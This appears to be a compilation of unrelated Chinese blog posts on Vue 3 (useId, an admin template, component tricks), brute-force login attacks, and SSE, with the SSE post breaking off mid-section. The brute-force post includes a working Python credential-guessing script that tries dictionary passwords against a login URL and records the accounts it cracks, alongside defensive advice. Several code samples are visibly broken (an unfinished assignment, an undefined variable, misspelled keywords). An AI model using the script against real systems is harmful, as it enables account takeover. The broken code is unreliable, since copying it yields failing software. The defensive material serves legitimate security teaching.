来源:juejin.cn/post/7387216861858201639
Vue3.5新增的useId到底有啥用?
0. 啥是useId
Vue 3.5中新增的useId
函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId
都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符。
useId
的实现原理相对简单。它通过访问Vue实例的ids
属性来生成ID,这个属性是一个数组,其中包含了用于生成ID的前缀和自增数字。每次调用useId
时,都会取出当前的数字值,然后进行自增操作。这意味着在同一页面上的多个Vue应用实例可以通过配置app.config.idPrefix
来避免ID冲突,因为每个应用实例都会维护自己的ID生成序列。
1. 实现源码
export function useId(): string {
const i = getCurrentInstance()
if (i) {
return (i.appContext.config.idPrefix || 'v') + '-' + i.ids[0] + i.ids[1]++
} else if (__DEV__) {
warn(
`useId() is called when there is no active component ` +
`instance to be associated with.`,
)
}
return ''
}
i.appContext.config.idPrefix
:这是从当前组件实例中获取的一个配置属性,用于定义生成ID的前缀。如果这个前缀存在,它将被使用;如果不存在,默认使用'v'
。i.ids[0]
:这是当前组件实例上的ids
数组的第一个元素,它是一个字符串,通常为空字符串,用于生成ID的一部分。i.ids[1]++
:这是ids
数组的第二个元素,它是一个数字,用于生成ID的自增部分。这里使用了后置自增运算符++
,这意味着它会返回当前值然后自增。每次调用useId
时,这个数字都会增加,确保生成的ID是唯一的。
2.设置ID前缀
如果不想使用默认的前缀'v'
的话,可以通过app.config.idPrefix
进行设置。
const app = createApp(App)
app.config.idPrefix = 'vid'
3.使用场景
3-1. 表单元素的唯一标识
在表单中,<label>
标签需要通过 for
属性与对应的 <input>
标签的 id
属性相匹配,以实现点击标签时输入框获得焦点的功能。使用 useId
可以为每个 <input>
元素生成一个唯一的 id
,确保这一功能的正常工作。例如:
<label :for="id">Do you like Vue 3.5?</label>
<input type="checkbox" :id="id" />
const id = useId()
3-2. 列表渲染中的唯一键
在渲染列表时,每一项通常需要一个唯一的键(key),以帮助 Vue 追踪每个节点的身份,从而进行高效的 DOM 更新。如果你的列表数据没有唯一key的话,那么useId
可以为列表中的每个项目生成一个唯一的键。
<ul>
<li v-for="item in items" :key="item.id">
{{ item.text }}({{ item.id }})
</li>
</ul>
const items = Array.from({ length: 10}, (v, k) => {
return {
text: `Text ${k}`,
id: useId()
}
})
上述代码渲染结果如下:
3-3. 服务端渲染(SSR)中避免 ID 冲突
在服务端渲染(SSR)的应用中,页面的HTML内容是在服务器上生成的,然后发送给客户端浏览器。在客户端,浏览器会接收到这些HTML内容,并将其转换成一个可交互的页面。如果在服务器端和客户端生成的HTML中存在相同的ID,那么在客户端激活(hydrate)时,就可能出现问题,因为客户端可能会尝试操作一个已经由服务器端渲染的DOM元素,导致潜在的冲突或错误。
下面是一个使用useId
来避免这种ID冲突的实际案例:
服务端代码 (server.js)
import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import App from './App.vue';
const app = createSSRApp(App);
// 假设我们在这里获取了一些数据
const data = fetchData();
renderToString(app).then(html => {
// 将服务端渲染的HTML发送给客户端
sendToClient(html);
});
客户端代码 (client.js)
import { createSSRApp } from 'vue';
import App from './App.vue';
const app = createSSRApp(App);
// 客户端激活,将服务端渲染的HTML转换成可交互的页面
hydrateApp(app);
在这个案例中,无论是服务端还是客户端,我们都使用了createSSRApp(App)
来创建应用实例。如果我们在App.vue
中使用了useId
来生成ID,那么这些ID将在服务端渲染时生成一次,并在客户端激活时再次使用相同的ID。
App.vue 组件
<template>
<div>
<input :id="inputId" type="text" />
<label :for="inputId">Enter text:</label>
</div>
</template>
<script setup>
import { useId } from 'vue';
const inputId = useId();
</script>
在App.vue
组件中,我们使用了useId
来为<input>
元素生成一个唯一的ID。这个ID在服务端渲染时生成,并包含在发送给客户端的HTML中。当客户端接收到这个HTML并开始激活过程时,由于useId
生成的ID在服务端和客户端是相同的,所以客户端可以正确地将<label>
元素关联到<input>
元素,而不会出现ID冲突的问题。
如果没有使用useId
,而是使用了Math.random()
或Date.now()
来生成ID,那么服务端和客户端可能会生成不同的ID,导致客户端在激活时无法正确地将<label>
和<input>
关联起来,因为它们具有不同的ID。这可能会导致表单元素的行为异常,例如点击<label>
时,<input>
无法获得焦点。
3-4. 组件库中的 ID 生成
在使用 Element Plus 等组件库进行 SSR 开发时,为了避免 hydration 错误,需要确保服务器端和客户端生成相同的 ID。通过在 Vue 中注入 ID_injection_key
,可以确保 Element Plus 生成的 ID 在 SSR 中是唯一的。
// src/main.js
import { createApp } from 'vue'
import { ID_INJECTION_KEY } from 'element-plus'
import App from './App.vue'
const app = createApp(App)
app.provide(ID_INJECTION_KEY, {
prefix: 1024,
current: 0,
})
希望这篇文章介绍对你有所帮助,上述代码已托管在Gitee上,欢迎自取!
来源:juejin.cn/post/7429411484307161127
Vue3 + Antdv4 + Vite5超轻普系统开源!!!
为毛要做个超轻?社区上不是很多启动模板?请看图


是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置
包含通用基础配置的启动框架
1、路由配置
在modules中插入路由文件自动读取
import { RouteRecordRaw, createRouter, createWebHistory } from "vue-router";
const modules = import.meta.glob("./modules/**/*.ts", {
eager: true,
import: "default",
});
const routeModuleList: Array<RouteRecordRaw> = [];
Object.keys(modules).forEach((key) => {
// @ts-ignore
routeModuleList.push(...modules[key]);
});
// 存放动态路由
export const asyncRouterList: Array<RouteRecordRaw> = [...routeModuleList];
const routes = [
{
path: "/",
name: "/",
redirect: asyncRouterList[0].path,
},
...asyncRouterList,
{
path: "/login",
name: "login",
component: () => import("@/views/login/index.vue"),
},
{
path: "/:catchAll(.*)*",
name: "404",
component: () => import("@/views/result/404.vue"),
},
];
const router = createRouter({
routes,
history: createWebHistory(),
});
router.beforeEach((to, from, next) => {
// TODO 各种操作
next();
});
export default router;
Axios 配置
对返回的状态码进行异常提示,请求拦截器做了通用的Token注入操作、响应拦截器做了数据处理
import axios, { AxiosInstance, AxiosRequestConfig, AxiosResponse } from "axios";
// import { MessagePlugin, NotifyPlugin } from 'tdesign-vue-next';
import { getUserStore } from "@/store";
import { message, notification } from "ant-design-vue";
interface AxiosConfig extends AxiosRequestConfig {
method?: "GET" | "POST" | "DELETE" | "PUT";
url: string;
params?: Record<string, any>;
data?: Record<string, any>;
config?: Record<string, string>;
}
const codeMessage: Record<number, string> = {
200: "服务器成功返回请求的数据。",
201: "新建或修改数据成功。",
202: "一个请求已经进入后台排队(异步任务)。",
204: "删除数据成功。",
400: "发出的请求有错误,服务器没有进行新建或修改数据的操作。",
401: "用户没有权限(令牌、用户名、密码错误)。",
403: "用户得到授权,但是访问是被禁止的。",
404: "发出的请求针对的是不存在的记录,服务器没有进行操作。",
406: "请求的格式不可得。",
410: "请求的资源被永久删除,且不会再得到的。",
422: "当创建一个对象时,发生一个验证错误。",
500: "服务器发生错误,请检查服务器。",
502: "网关错误。",
503: "服务不可用,服务器暂时过载或维护。",
504: "网关超时。",
};
const notificationBox = (status: number, url: string, errorText: string) => {
return notification.error({
message: errorText,
description: `请求错误 ${status}: ${url}`,
});
};
// 请求错误
const requestInterceptorsError = (error: any) => Promise.reject(error);
// 响应数据
const responseInterceptors = (response: AxiosResponse) => {
if (response && response.status === 200) {
const { code } = response.data;
if (code === -999) {
message.info("登录过期, 即将跳转登录页面");
const timer = setTimeout(() => {
getUserStore().logout();
clearTimeout(timer);
}, 2000);
return null;
}
return response.data;
}
return response.data;
};
// 响应错误
const responseInterceptorsError = (error: any) => {
const { response } = error;
if (response && response.status) {
const errorText = codeMessage[response.status] || response.statusText;
const { status } = response;
const url = response.request.responseURL;
if (response.status !== 400 && response.status !== 401) {
notificationBox(status, url, errorText);
}
switch (status) {
case 401:
notificationBox(status, url, errorText);
// TODO
break;
case 403:
// TODO
break;
default:
break;
}
} else {
notification.error({
message: "网络异常",
description: "您的网络发生异常,无法连接服务器",
});
}
return Promise.reject(error);
};
/** 不能token的接口 */
const noTokenList = ["/login"];
const createAxiosByInterceptors = (
config?: AxiosRequestConfig
): AxiosInstance => {
const instance = axios.create({
// TODO
baseURL: "/api",
timeout: 60000,
headers: {
"Content-Type": "application/json",
},
...config,
});
// 请求拦截器
instance.interceptors.request.use((config) => {
const { token } = getUserStore();
// 如果有 token 强制带上 token
if (token && config.url && !noTokenList.includes(config.url))
config.headers.Authorization = token;
return config;
}, requestInterceptorsError);
// 响应拦截器
instance.interceptors.response.use(
responseInterceptors,
responseInterceptorsError
);
return instance;
};
const axiosRequest = <T>(axiosParams: AxiosConfig): Promise<T | null> => {
const { method = "GET", url, params, data, config } = axiosParams;
const request = createAxiosByInterceptors(axiosParams);
switch (method) {
case "GET":
return request.get(url, { ...params, ...config });
case "POST":
return request.post(url, data, config);
case "DELETE":
return request.delete(url, { ...data, ...config });
case "PUT":
return request.put(url, { ...data, ...config });
default:
// 需要添加错误请求
return Promise.resolve(null);
}
};
export default axiosRequest;
Pinia状态管理配置
分模块处理用户信息和配置信息,可自加,具体看源码
layout布局
采用通用的左右分模式
layout组件非常支持自定义、自定性强可根据需求随意改动
通用登录页
看图
二次封装组件
组件代码全在components文件中可自行修改符合需求的组件
CombineTable
看图就知道有多方便使用了,这点代码就可以生成一个表单查询+表格
结语
这个框架很轻、几乎拿来就能开发了;
github:github.com/jesseice/an…
可以通过脚手架使用,输入npm create wyd_cli
即可下载
框架还会继续优化!!!
来源:juejin.cn/post/7382411119326740507
分享VUE3编写组件高级技巧,优雅!
在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。
1、v-bind=“$attrs”
这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。
比如element-ui组件中的select组件,就有一个让人痛恨的点,就是options数据无法配置,必须得手动引入option组件才行,如下:
<el-select v-model="value" placeholder="Select" size="large">
<el-option v-for="item in options" :key="item.value" :label="item.label" :value="item.value" />
</el-select>
身为一个优秀前端前端佬,这哪里能忍!
技巧随之用来,我们就可以使用上面这个,创建一个自定义select组件,既能享用原组件的各种配置属性和事件
(P.S. 如果需要组件上使用自定义事件,比如change事件,属性上定义为’onChange': ()=>{}。),也可以自定义一些功能,创建一个customSelect.vue:
<el-select v-model="selectedValue" v-bind="attts">
<el-option v-for="(item) in customOptions" v-bind="item"/>
</el-select>
这样在动态引用这个组件,就能使用自定义的customOptions这个属性。
上面例子主要说明,v-bind="$attr"的好处。但还是得多说一句,上面例子中的一些缺点。
- 无法直接使用el-select对外暴露的方法;
- 无法直接使用el-select的slot分发;
然后需要注意一个点,得在customSelect.vue组件中,设置inheritAttrs为false,防止数据在组件上一层层透传下去。
2、improt { h } from vue
h为vue中的渲染函数,主要用来创建虚拟 DOM 节点 (vnode)。对应参数,可以戳这里,看官方详细正宗介绍。
对应这个连接中,有很多渲染函数的介绍。这系列有一个很大的特点,那就是用的魔怔了,就会一不小心把VUE变成“React”,损失掉VUE框架中的一些优点。
自由度非常高。仅仅针对这个H函数举例,还是援用上面的例子,实现如下(代码片段):
<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return () = >
h(ElSelect, () =>
props.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>
足够清爽,简单。
3、render
render,用于编程式地创建组件虚拟 DOM 树的函数。解释链接,可以戳这里。
废话不多说,直接以上面的例子,用render方式撸一遍。
<!-- <template>
<div>1</div>
<template> -->
<scirpt>
import {defineComponent, h} from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
render(_ctx) {
return () = >
h(ElSelect, () =>
_ctx.options.map(options =>
h(ElOption, {
key:option.value,
label:option.label,
value:option.value,
})
)
)
}
})
<script>
不能说实现的方式跟上面相似,简直说是一模一样。主要在于render做了template要做的事,但相比较template少一层解析,理论上会比template更高效。
需要注意一点,这里放出官网的描述:
如果一个组件中同时存在
render
和template
,则render
将具有更高的优先级
正常理解的话,是render渲染出的vnode会高于template解析出的vnode,同时存在,render会覆盖掉template。
但在经过VUE的v3.3.4版本中操作,template会覆盖掉render。所以这个优先级,猜测可能是render会优先解析,具体得翻源码,待理解后继续更新。
4、getCurrentInstance
这个是获取当前组件实例的方法,属于核弹级别的方法,也属于VUE3官网文档中翻不到的东西。
但鲁迅说的好,路走的多了,那就成路了。如果社区用的人多了,那么它就有可能提上去!
言归正传,那么拿了这个组件的实例,能干什么呢?
那可干的事情,就可多可多了。
比如改个,调个组件方法,这都算小儿科,完全不用担心这里readOnly
,那里ReadonlyReactiveHandler
。
猛一点,直接硬插,换个上下文。
再猛的,先假设:组件实例 === 组件,组件 === VUE,VUE === YYX写的,然后你写了一点代码+VUE,是不是由此可得,你的代码 》 VUE ,进而证明 你 》 YYX。嗯?
5、extends
先来一段官方的介绍:
从实现角度来看,
extends
几乎和mixins
相同。通过extends
指定的组件将会当作第一个 mixin 来处理。
然而,
extends
和mixins
表达的是不同的目标。mixins
选项基本用于组合功能,而extends
则一般更关注继承关系。
缺点上,第1节有提一个,但还有一个不算是缺点的缺点,相同属性和方法会直接覆盖被继承的组件(钩子函数不会被覆盖),主要在于是否熟悉被继承的组件中的逻辑。用的好就很好,用的不行,就真的很不行。
如果还是用上面的例子作为例子,实现方法如下:
<scirpt>
import {defineComponent, createVNode, render, getCurrentInstance } from 'vue'
import {ElSelect, ElOption} from 'element-plus'
export default definComponent({
name:'DynamicSelect',
extends:ElSelect,
props:{
options:{
type:Array,
required:true,
default:() => []
}
},
setup(props) {
return ElSelect.setup(props, context)
},
mounted(){
const curInstance = getCurrentInstance()
const container = doucment.createElement('div')
this.$props.options.forEach(options => {
const vNode = createVNode(ElOption,{
key:option.value,
label:option.label,
value:option.value,
})
})
const currrentProvides = curInstance?.provides
if(currrentProvides){
// 将ELSelect的Provides,传入到ElOption中
reflect.set(curInstance?.appContext,'provides',{...currrentProvides})
}
vNode.appContext = curInstance?.appContext
render(vNode,container)
this.$el.appendChild(container)
}
})
<script>
但这种,确实是为了实现那个例子而写的代码。有些可以作为参考。
暂时分享这些,欢迎前端佬们拍砖。
来源:juejin.cn/post/7450836153258049572
前端安全问题 - 爆破登录
声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。
暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。
一、发现问题
常见情况
Web 应用的登录认证模块容易被暴破登录的情况有很多,以下是一些常见的情况:
- 弱密码:如果用户的密码过于简单,容易被暴破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。
- 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后未对账户进行锁定,攻击者可以继续尝试暴破登录。
- 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行暴破登录。
- 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试暴破登录。
- 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行暴破登录。
- 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行暴破登录。
常用工具
为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞,可以使用以下工具:
- Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在暴破登录漏洞。
- OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。
需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。
二、分析问题
对目标 Web 应用进行暴破登录攻击实例:
1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息
可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。
- 请求地址:
由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。
- 请求参数:
由图可知,登录接口的请求参数用户名和密码用的都是明文。
- 响应数据:
2. 构建目标 Web 应用 URL 字典、账号字典和密码字典
- URL 字典
url.txt
:
http://123.123.123.123:1234/
- 账号字典
usr.txt
:
admin
admin 是很多 Web 后端管理应用常用的管理员默认账号。
- 密码字典
pwd.txt
:
1234
12345
123456
密码字典是三个被常用的弱密码。
3. 暴力破解登录代码示例
Python 脚本代码示例:
from io import TextIOWrapper
import json
import logging
import os
import time
import requests
from requests.adapters import HTTPAdapter
g_input_path = './brute_force_login/input/'
g_output_path = './brute_force_login/output/'
def log():
# 创建日志文件存放文件夹
root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
log_dir = os.path.join(root_dir, 'logs', 'brute_force_login')
if not os.path.exists(log_dir):
os.mkdir(log_dir)
# 创建一个日志器
logger = logging.getLogger("logger")
# 设置日志输出的最低等级,低于当前等级则会被忽略
logger.setLevel(logging.INFO)
# 创建处理器:sh为控制台处理器,fh为文件处理器
sh = logging.StreamHandler()
# 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹
log_file = os.path.join(log_dir, "{}.log".format(
time.strftime("%Y-%m-%d", time.localtime())))
fh = logging.FileHandler(log_file, encoding="UTF-8")
# 创建格式器,并将sh,fh设置对应的格式
formator = logging.Formatter(
fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")
sh.setFormatter(formator)
fh.setFormatter(formator)
# 将处理器,添加至日志器中
logger.addHandler(sh)
logger.addHandler(fh)
return logger
globalLogger = log()
def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
# 请求头
headers = {
"content-type": "application/json",
'User-Agent': 'Mozilla/5.0 (Macint0sh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
}
if authorizationBase64Str != '':
headers['Authorization'] = 'Basic ' + authorizationBase64Str
proxies = {}
if proxyIpPort != "localhost":
proxies = {
"http": "http://" + proxyIpPort,
"https": "http://" + proxyIpPort
}
try:
s = requests.Session()
# 配置请求超时重试
s.mount('http://', HTTPAdapter(max_retries=1))
s.mount('https://', HTTPAdapter(max_retries=1))
response =
# 构造发送请求
if method == 'get':
response = s.get(url=url, headers=headers, data=data,
proxies=proxies, timeout=(3.05, 1))
elif method == 'post':
response = s.post(url=url, headers=headers, data=data,
proxies=proxies, timeout=(3.05, 1))
else:
globalLogger.warning("Request Method Invalid")
return 'RequestException'
# 响应数据
globalLogger.info(
"MyRequest Request ResponseText:\n {}".format(response.text))
return response.text
except requests.exceptions.RequestException as e:
globalLogger.warning("RequestException: {}".format(e))
return 'RequestException'
def getStrListFromFile(fileContent: TextIOWrapper):
return fileContent.read().rstrip('\n').replace('\n', ';').split(';')
def attackTargetSite(url: str, usr: str, pwd: str):
reStr = 'FAIL'
fullUrl = url + 'webapp/web/login'
globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))
reqData = {
"name": usr,
"password": pwd
}
resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))
if '"status":200' in resp:
reStr = 'SUCCESS'
elif 'RequestException' in resp:
reStr = 'RequestException'
return reStr
def attack():
try:
input_path = g_input_path
# 读取url文件
input_url_filename = 'url.txt'
urlFileContent = open(os.path.join(
input_path, input_url_filename), 'r')
url_list = getStrListFromFile(urlFileContent)
# 读取用户名字典文件
input_usr_filename = 'usr.txt'
usrFileContent = open(os.path.join(
input_path, input_usr_filename), 'r')
usr_list = getStrListFromFile(usrFileContent)
# 读取密码字典文件
input_pwd_filename = 'pwd.txt'
pwdFileContent = open(os.path.join(
input_path, input_pwd_filename), 'r')
pwd_list = getStrListFromFile(pwdFileContent)
# 输出文件路径及名称
output_path = g_output_path
output_hacked_url = 'hackedUrlAndPwd.txt'
with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
i = 0
for url in url_list:
i += 1
j = 0
for usr in usr_list:
j += 1
resp = 'FAIL'
k = 0
for pwd in pwd_list:
k += 1
resp = attackTargetSite(url, usr, pwd)
if resp == 'SUCCESS':
output_file.write(url + '\n')
output_file.write('{}:{}\n'.format(usr, pwd))
# 数据实时写入文件(无缓冲写入)
output_file.flush()
pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
break
elif 'RequestException' in resp:
pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
break
else:
pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url)
globalLogger.info(pStr)
if resp == 'SUCCESS':
break
elif 'RequestException' in resp:
break
finally:
if urlFileContent:
urlFileContent.close()
if usrFileContent:
usrFileContent.close()
if pwdFileContent:
pwdFileContent.close()
if pipFileContent:
pipFileContent.close()
attack()
上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。
成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:
http://123.123.123.123:1234/
admin:1234
其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。
由上述代码可知,在目标 Web 应用站点存在使用弱密码、默认账户和密码(弱)、无锁定账户功能、无验证码功能等情况下,暴破登录是很容易成功的。
三、解决问题
防范措施
以下是一些预防暴力破解登录的措施:
- 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。
- 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。
- 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。
- IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试暴破登录。
- 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。
- 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。
- 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。
- 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。
防御工具
以下是一些应对暴力破解登录的常用工具:
- Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的暴破攻击模式。
- Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意暴破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。
- Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。
- Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何暴破攻击的痕迹,并识别攻击者的 IP 地址。
需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。
来源:juejin.cn/post/7407610458788200475
如果让你实现实时消息推送你会用什么技术?轮询、websocket还是sse
前言
在日常的开发过程中,我们经常能碰见到需要主动推送消息给客户端数据的业务场景,比如数据大屏幕实时数据,聊天消息推送等等。
本文介绍sse:
服务端向客户端推送数据的方式有哪几种呢?
- WebSocket
- SSE
- 长轮询
轮询简介
长轮询是一种模拟实时通信的技术。在传统的Http请求中,客户端向服务端发送请求,并且在完成请求后立即响应,然后连接关闭。这意味着客户端需要不停的发送请求来更新数据。
相比之下,长轮询的思想是客户端发送一个Http到服务端,服务端不立即返回响应。相反,服务端会保持该请求打开,直到有新的数据可用或超时。如果有新的数据可用,服务端会立即返回响应,并关闭连接。此时,客户端会重新发起一个新的请求,继续等待新的数据。
使用长轮询的优势在于,它在大部分的浏览器中有更好的兼容性,因为它使用的是Http协议。缺点就是较高的延迟性、较大的资源消耗、以及大量并发操作可能导致服务端资源的瓶颈和一些浏览器对并发请求数目进行了限制比如chorme最大并发数目为6,这个限制前提是针对同一个域名下,超过这一限制后续请求就会堵塞。
websocket简介
websocket是一个双向通信的协议,它支持客户端和服务端彼此之间进行通信。功能强大。
缺点就是是一个新的协议,ws/wss,也就是说支持http协议的不一定支持ws协议。相比较websocket结构复杂并且比较重。
SSE简介
sse是一个单向通讯的协议也是一个长链接,它只能支持服务端主动向客户端推送数据,但是无法让客户端向服务端推送消息。
SSE的优点是,它是一个轻量级的协议,相对于websockte来说,他的复杂度就没有那么高,相对于客户端的消耗也比较少。而且_SSE使用的是http协议_(websocket使用的是ws协议),也就是现有的服务端都支持SSE,无需像websocket一样需要服务端提供额外的支持。
websocket和SSE有什么区别?
轮询
对于当前计算机的发展来说,几乎很少出现同时不支持websocket和sse的情况,所以轮询是在极端情况下浏览器实在是不支持websocket和see的下策。
Websocket和SSE
我们一般的服务端和客户端的通讯基本上使用这两个方案。首先声明:这两个方案没有绝对的好坏,只有在不同的业务场景下更好的选择。
SSE的官方对于SSE和Websocket的评价是
- WebSocket是全双工通道,可以双向通信,功能更强;SSE是单向通道,只能服务器向浏览器端发送。
- WebSocket是一个新的协议,需要服务器端支持;SSE则是部署在HTTP协议之上的,现有的服务器软件都支持。
- SSE是一个轻量级协议,相对简单;WebSocket是一种较重的协议,相对复杂。
- SSE默认支持断线重连,WebSocket则需要额外部署。
- SSE支持自定义发送的数据类型。
Websocket和SSE分别适用于什么业务场景?
对于SSE来说,它的优点就是轻,而且对于服务端的支持度要更好。换言之,可以使用SSE完成的功能需求,没有必要使用更重更复杂的websocket。
比如:数据大屏的实时数据,消息中心的消息推送等一系列只需要服务端单方面推送而不需要客户端同时进行反馈的需求,SSE就是不二之选。
对于Websocket来说,他的优点就是可以同时支持客户端和服务端的双向通讯_。所适用的业务场景:最典型的就是聊天功能。这种服务端需要主动向客户端推送信息,并且客户端也有向服务端推送消息的需求时,Websocket就是更好的选择。
SSE有哪些主要的API?
建立一个SSE链接 :var source = new EventSource(url);
SSE连接状态
source.readyState
- 0,相当于常量EventSource.CONNECTING,表示连接还未建立,或者连接断线。
- 1,相当于常量EventSource.OPEN,表示连接已经建立,可以接受数据。
- 2,相当于常量EventSource.CLOSED,表示连接已断,且不会重连。
SSE相关事件
- open事件(连接一旦建立,就会触发open事件,可以定义相应的回调函数)
- message事件(收到数据就会触发message事件)
- error事件(如果发生通信错误(比如连接中断),就会触发error事件)
数据格式
Content-Type: text/event-stream //文本返回格式
Cache-Control: no-cache //不要缓存
Connection: keep-alive //长链接标识
如何实操一个SSE链接?Demo↓
这里Demo前端使用的就是最基本的html静态页面连接,没有使用任何框架。后端选用语言是node,框架是Express。
理论上,把这两段端代码复制过去跑起来就直接可以用了。
- 第一步,建立一个index.html文件,然后复制前端代码Demo到index.html文件中,打开文件
- 第二步,进入一个新的文件夹,建立一个index.js文件,然后将后端Demo代码复制进去,然后在该文件夹下执行
npm init //初始化npm
npm i express //下载node express框架
node index //启动服务
上面三行之中,第一行的Content-Type
必须指定 MIME 类型为event-steam
。
每一次发送的信息,由若干个message
组成,每个message
之间用\n\n
分隔。每个message
内部由若干行组成,每一行都是如下格式。
[field]: value\n
上面的field
可以取四个值。
- data
- event
- id
- retry
此外,还可以有冒号开头的行,表示注释。通常,服务器每隔一段时间就会向浏览器发送一个注释,保持连接不中断。
: This is a comment
data 字段
数据内容用data
字段表示
data: message\n\n
如果数据很长,可以分成多行,最后一行用\n\n
结尾,前面行都用\n
结尾。
data: begin message\n
data: continue message\n\n
下面是一个发送 JSON 数据的例子。
data: {\n
data: "foo": "bar",\n
data: "baz", 555\n
data: }\n\n
id 字段
数据标识符用id
字段表示,相当于每一条数据的编号。
id: msg1\n
data: message\n\n
浏览器用lastEventId
属性读取这个值。一旦连接断线,浏览器会发送一个 HTTP 头,里面包含一个特殊的Last-Event-ID
头信息,将这个值发送回来,用来帮助服务器端重建连接。因此,这个头信息可以被视为一种同步机制。
event 字段
event
